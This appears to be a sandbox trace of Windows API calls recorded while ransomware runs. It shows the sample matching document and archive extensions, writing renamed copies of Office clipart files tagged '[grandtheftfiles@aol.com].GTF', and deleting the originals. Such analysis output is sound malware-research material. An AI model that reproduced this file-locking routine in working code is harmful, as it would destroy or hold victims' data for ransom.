	[0161.312] lstrlenW (lpString=".ppt") returned 4
	[0161.312] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0161.312] lstrlenW (lpString=".zip") returned 4
	[0161.312] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.312] lstrlenW (lpString=".rar") returned 4
	[0161.312] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.312] lstrlenW (lpString=".bz2") returned 4
	[0161.312] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.312] lstrlenW (lpString=".7z") returned 3
	[0161.312] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0161.312] lstrlenW (lpString=".dbf") returned 4
	[0161.312] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0161.312] lstrlenW (lpString=".1cd") returned 4
	[0161.312] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0161.313] lstrlenW (lpString=".jpg") returned 4
	[0161.313] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.313] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0161.313] lstrlenW (lpString="J0099203.GIF") returned 12
	[0161.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0161.313] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3904) returned 1
	[0161.313] CloseHandle (hObject=0x4b0) returned 1
	[0161.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 0x220
	[0161.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0161.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0161.314] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.314] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0161.314] GetLastError () returned 0x0
	[0161.315] ReadFile (in: hFile=0x4b0, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0xf40, lpOverlapped=0x0) returned 1
	[0161.316] WriteFile (in: hFile=0x510, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xf50, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xf50, lpOverlapped=0x0) returned 1
	[0161.317] ReadFile (in: hFile=0x4b0, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.317] WriteFile (in: hFile=0x510, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.318] SetEndOfFile (hFile=0x510) returned 1
	[0161.318] CloseHandle (hObject=0x510) returned 1
	[0161.318] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.318] SetEndOfFile (hFile=0x4b0) returned 1
	[0161.321] CloseHandle (hObject=0x4b0) returned 1
	[0161.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0161.322] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 1
	[0161.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0161.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0161.322] lstrlenW (lpString=".doc") returned 4
	[0161.322] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.322] lstrlenW (lpString=".docx") returned 5
	[0161.322] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1
	[0161.322] lstrlenW (lpString=".pdf") returned 4
	[0161.322] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.322] lstrlenW (lpString=".xls") returned 4
	[0161.322] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.322] lstrlenW (lpString=".xlsx") returned 5
	[0161.322] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1
	[0161.322] lstrlenW (lpString=".ppt") returned 4
	[0161.322] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0161.323] lstrlenW (lpString=".zip") returned 4
	[0161.323] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.323] lstrlenW (lpString=".rar") returned 4
	[0161.323] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.323] lstrlenW (lpString=".bz2") returned 4
	[0161.323] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.323] lstrlenW (lpString=".7z") returned 3
	[0161.323] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0161.323] lstrlenW (lpString=".dbf") returned 4
	[0161.323] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0161.323] lstrlenW (lpString=".1cd") returned 4
	[0161.323] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0161.323] lstrlenW (lpString=".jpg") returned 4
	[0161.323] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0161.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0161.323] lstrlenW (lpString=".doc") returned 4
	[0161.323] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.323] lstrlenW (lpString=".docx") returned 5
	[0161.323] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1
	[0161.323] lstrlenW (lpString=".pdf") returned 4
	[0161.323] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.323] lstrlenW (lpString=".xls") returned 4
	[0161.323] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.323] lstrlenW (lpString=".xlsx") returned 5
	[0161.323] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1
	[0161.323] lstrlenW (lpString=".ppt") returned 4
	[0161.323] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0161.323] lstrlenW (lpString=".zip") returned 4
	[0161.323] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.323] lstrlenW (lpString=".rar") returned 4
	[0161.324] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.324] lstrlenW (lpString=".bz2") returned 4
	[0161.324] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.324] lstrlenW (lpString=".7z") returned 3
	[0161.324] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0161.324] lstrlenW (lpString=".dbf") returned 4
	[0161.324] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0161.324] lstrlenW (lpString=".1cd") returned 4
	[0161.324] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0161.324] lstrlenW (lpString=".jpg") returned 4
	[0161.324] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.324] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0161.324] lstrlenW (lpString="J0099204.WMF") returned 12
	[0161.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0161.325] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=17854) returned 1
	[0161.325] CloseHandle (hObject=0x4b0) returned 1
	[0161.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 0x220
	[0161.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0161.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0161.325] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.325] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0161.326] GetLastError () returned 0x0
	[0161.326] ReadFile (in: hFile=0x4b0, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x45be, lpOverlapped=0x0) returned 1
	[0161.328] WriteFile (in: hFile=0x510, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x45c0, lpOverlapped=0x0) returned 1
	[0161.329] ReadFile (in: hFile=0x4b0, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.329] WriteFile (in: hFile=0x510, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.329] SetEndOfFile (hFile=0x510) returned 1
	[0161.329] CloseHandle (hObject=0x510) returned 1
	[0161.329] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.330] SetEndOfFile (hFile=0x4b0) returned 1
	[0161.332] CloseHandle (hObject=0x4b0) returned 1
	[0161.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0161.333] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 1
	[0161.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0161.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0161.333] lstrlenW (lpString=".doc") returned 4
	[0161.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0161.333] lstrlenW (lpString=".docx") returned 5
	[0161.333] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0161.333] lstrlenW (lpString=".pdf") returned 4
	[0161.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0161.333] lstrlenW (lpString=".xls") returned 4
	[0161.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0161.333] lstrlenW (lpString=".xlsx") returned 5
	[0161.333] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0161.333] lstrlenW (lpString=".ppt") returned 4
	[0161.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0161.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0161.333] lstrlenW (lpString=".zip") returned 4
	[0161.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0161.334] lstrlenW (lpString=".rar") returned 4
	[0161.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0161.334] lstrlenW (lpString=".bz2") returned 4
	[0161.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0161.334] lstrlenW (lpString=".7z") returned 3
	[0161.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0161.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0161.334] lstrlenW (lpString=".dbf") returned 4
	[0161.334] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0161.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0161.334] lstrlenW (lpString=".1cd") returned 4
	[0161.334] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0161.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0161.334] lstrlenW (lpString=".jpg") returned 4
	[0161.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0161.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0161.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0161.334] lstrlenW (lpString=".doc") returned 4
	[0161.334] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0161.334] lstrlenW (lpString=".docx") returned 5
	[0161.334] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0161.334] lstrlenW (lpString=".pdf") returned 4
	[0161.334] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0161.334] lstrlenW (lpString=".xls") returned 4
	[0161.334] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0161.334] lstrlenW (lpString=".xlsx") returned 5
	[0161.334] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0161.334] lstrlenW (lpString=".ppt") returned 4
	[0161.334] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0161.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0161.334] lstrlenW (lpString=".zip") returned 4
	[0161.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0161.334] lstrlenW (lpString=".rar") returned 4
	[0161.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0161.334] lstrlenW (lpString=".bz2") returned 4
	[0161.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0161.335] lstrlenW (lpString=".7z") returned 3
	[0161.335] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0161.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0161.335] lstrlenW (lpString=".dbf") returned 4
	[0161.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0161.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0161.335] lstrlenW (lpString=".1cd") returned 4
	[0161.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0161.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68
	[0161.335] lstrlenW (lpString=".jpg") returned 4
	[0161.335] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0161.335] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0161.335] lstrlenW (lpString="J0099205.WMF") returned 12
	[0161.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0161.391] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=17854) returned 1
	[0161.391] CloseHandle (hObject=0x500) returned 1
	[0161.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 0x220
	[0161.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0161.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0161.827] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.827] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0162.316] GetLastError () returned 0x0
	[0162.316] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x45be, lpOverlapped=0x0) returned 1
	[0162.319] WriteFile (in: hFile=0x538, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x45c0, lpOverlapped=0x0) returned 1
	[0162.320] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.320] WriteFile (in: hFile=0x538, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.320] SetEndOfFile (hFile=0x538) returned 1
	[0162.320] CloseHandle (hObject=0x538) returned 1
	[0162.320] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.320] SetEndOfFile (hFile=0x4b4) returned 1
	[0162.323] CloseHandle (hObject=0x4b4) returned 1
	[0162.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 1
	[0162.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0162.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0162.324] lstrlenW (lpString=".doc") returned 4
	[0162.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.324] lstrlenW (lpString=".docx") returned 5
	[0162.324] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0162.324] lstrlenW (lpString=".pdf") returned 4
	[0162.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.324] lstrlenW (lpString=".xls") returned 4
	[0162.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.324] lstrlenW (lpString=".xlsx") returned 5
	[0162.324] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0162.324] lstrlenW (lpString=".ppt") returned 4
	[0162.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0162.324] lstrlenW (lpString=".zip") returned 4
	[0162.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.324] lstrlenW (lpString=".rar") returned 4
	[0162.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.324] lstrlenW (lpString=".bz2") returned 4
	[0162.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.324] lstrlenW (lpString=".7z") returned 3
	[0162.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0162.324] lstrlenW (lpString=".dbf") returned 4
	[0162.324] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0162.325] lstrlenW (lpString=".1cd") returned 4
	[0162.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0162.325] lstrlenW (lpString=".jpg") returned 4
	[0162.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0162.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0162.325] lstrlenW (lpString=".doc") returned 4
	[0162.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.325] lstrlenW (lpString=".docx") returned 5
	[0162.325] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0162.325] lstrlenW (lpString=".pdf") returned 4
	[0162.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.325] lstrlenW (lpString=".xls") returned 4
	[0162.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.325] lstrlenW (lpString=".xlsx") returned 5
